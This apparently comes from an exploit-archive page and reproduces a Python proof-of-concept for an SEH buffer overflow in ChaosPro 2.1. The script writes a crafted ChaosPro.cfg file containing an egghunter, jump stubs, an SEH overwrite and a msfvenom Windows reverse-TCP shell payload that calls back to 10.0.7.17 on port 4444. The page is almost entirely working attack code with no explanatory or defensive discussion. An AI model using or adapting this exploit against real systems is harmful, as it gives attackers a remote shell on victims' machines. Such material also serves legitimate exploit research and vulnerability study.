chaospro 2.1 seh buffer overflow

▸▸▸ Exploit & Vulnerability >>   local exploit & windows vulnerability




chaospro 2.1 seh buffer overflow Code Code...
				
#!C:\Python27\python.exe # Title : ChaosPro 2.1 # Twitter : @securitychops # Blog Post : https://securitychops.com/2019/08/24/retro-exploit-series-episode-one-chaospro-3-1.html # our egg! payload = "T00WT00W" #the payload payload += ( # msfvenom -p windows/shell_reverse_tcp LHOST=10.0.7.17 # LPORT=4444 -e x86/alpha_upper -a x86 --platform windows -f c -b '\x00' "\x89\xe1\xdb\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4c\x42\x53\x30" "\x33\x30\x43\x30\x55\x30\x4b\x39\x4b\x55\x46\x51\x4f\x30\x32" "\x44\x4c\x4b\x56\x30\x56\x50\x4c\x4b\x46\x32\x54\x4c\x4c\x4b" "\x50\x52\x45\x44\x4c\x4b\x34\x32\x37\x58\x44\x4f\x4f\x47\x30" "\x4a\x36\x46\x30\x31\x4b\x4f\x4e\x4c\x47\x4c\x45\x31\x43\x4c" "\x44\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x34\x4d\x45\x51\x39" "\x57\x4b\x52\x4c\x32\x56\x32\x31\x47\x4c\x4b\x46\x32\x32\x30" "\x4c\x4b\x50\x4a\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x52\x58\x4b" "\x53\x31\x58\x53\x31\x4e\x31\x36\x31\x4c\x4b\x50\x59\x37\x50" "\x45\x51\x58\x53\x4c\x4b\x47\x39\x35\x48\x4d\x33\x37\x4a\x30" "\x49\x4c\x4b\x57\x44\x4c\x4b\x53\x31\x49\x46\x46\x51\x4b\x4f" "\x4e\x4c\x39\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37\x36\x58\x4d" "\x30\x33\x45\x4a\x56\x43\x33\x43\x4d\x4c\x38\x57\x4b\x43\x4d" "\x56\x44\x42\x55\x5a\x44\x31\x48\x4c\x4b\x46\x38\x31\x34\x35" "\x51\x4e\x33\x35\x36\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x56\x38" "\x45\x4c\x55\x51\x38\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x38" "\x50\x4d\x59\x51\x54\x46\x44\x56\x44\x31\x4b\x31\x4b\x43\x51" "\x31\x49\x50\x5a\x30\x51\x4b\x4f\x4b\x50\x51\x4f\x31\x4f\x51" "\x4a\x4c\x4b\x32\x32\x4a\x4b\x4c\x4d\x31\x4d\x42\x48\x47\x43" "\x57\x42\x53\x30\x55\x50\x35\x38\x53\x47\x43\x43\x30\x32\x31" "\x4f\x31\x44\x33\x58\x30\x4c\x33\x47\x57\x56\x54\x47\x4b\x4f" "\x49\x45\x48\x38\x4a\x30\x35\x51\x43\x30\x35\x50\x56\x49\x59" "\x54\x36\x34\x36\x30\x52\x48\x56\x49\x4b\x30\x52\x4b\x35\x50" "\x4b\x4f\x59\x45\x30\x50\x56\x30\x56\x30\x46\x30\x51\x50\x36" "\x30\x57\x30\x46\x30\x55\x38\x4a\x4a\x54\x4f\x39\x4f\x4b\x50" "\x4b\x4f\x39\x45\x4d\x47\x42\x4a\x35\x55\x52\x48\x45\x5a\x53" "\x30\x33\x37\x34\x51\x52\x48\x45\x52\x53\x30\x54\x51\x31\x4c" "\x4d\x59\x5a\x46\x32\x4a\x52\x30\x50\x56\x46\x37\x32\x48\x5a" "\x39\x59\x35\x54\x34\x43\x51\x4b\x4f\x39\x45\x4d\x55\x49\x50" "\x33\x44\x44\x4c\x4b\x4f\x30\x4e\x44\x48\x43\x45\x5a\x4c\x35" "\x38\x4c\x30\x48\x35\x4f\x52\x36\x36\x4b\x4f\x49\x45\x55\x38" "\x52\x43\x52\x4d\x52\x44\x43\x30\x4b\x39\x4b\x53\x56\x37\x46" "\x37\x31\x47\x50\x31\x4a\x56\x33\x5a\x42\x32\x51\x49\x46\x36" "\x4b\x52\x4b\x4d\x53\x56\x4f\x37\x51\x54\x57\x54\x37\x4c\x53" "\x31\x43\x31\x4c\x4d\x50\x44\x31\x34\x34\x50\x58\x46\x55\x50" "\x30\x44\x31\x44\x30\x50\x30\x56\x50\x56\x50\x56\x30\x46\x36" "\x36\x50\x4e\x31\x46\x50\x56\x50\x53\x31\x46\x43\x58\x52\x59" "\x58\x4c\x47\x4f\x4b\x36\x4b\x4f\x49\x45\x4d\x59\x4d\x30\x50" "\x4e\x30\x56\x57\x36\x4b\x4f\x36\x50\x45\x38\x44\x48\x4c\x47" "\x35\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b\x5a\x50\x48\x35\x59" "\x32\x30\x56\x42\x48\x4e\x46\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f" "\x4e\x35\x37\x4c\x54\x46\x53\x4c\x54\x4a\x4d\x50\x4b\x4b\x4b" "\x50\x52\x55\x33\x35\x4f\x4b\x31\x57\x54\x53\x54\x32\x32\x4f" "\x43\x5a\x33\x30\x31\x43\x4b\x4f\x4e\x35\x41\x41" ) #this needs to be a backwards jump to give us room to call stack jump code jmpbackD0 = "\x40\x75\xD0\x75" jmpforward06 = "\x40\x75\x06\x75" # 16 byte shellcode from: https://www.exploit-db.com/exploits/43773/ opencalc = "\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" # our egghunter shellcode egghunter = ( "\x66\x81\xca\xff\x0f\x42\x52\x31\xdb\x43" "\x43\x53\x58\xcd\x2e\x3c\x05\x5a\x74\xec" "\xb8\x54\x30\x30\x57\x89\xd7\xaf\x75\xe7" "\xaf\x75\xe4\xff\xe7" ) #line containing our payload line_start = "Username " line_start += payload + "\n" #line with our overflow line_start += "ProjectPath " junk = line_start junk += "A" * (2569 - 118 - len(jmpforward06) - len(jmpbackD0)) junk += "A" * (118 - len(egghunter)) # open calc junk += egghunter # First Jump Backwards 0xFF - 0x80 bytes (0x7F or 127) junk += jmpforward06 junk += jmpbackD0 #seh address for pop, pop and ret with a 0x00 at the end ... junk += "\xab\x11\x40" # write the evil file with open('C:\\Program Files\\ChaosPro2.1\\ChaosPro.cfg', 'w') as the_file: the_file.write(junk)

Chaospro 2.1 seh buffer overflow Vulnerability / Exploit Source : Chaospro 2.1 seh buffer overflow



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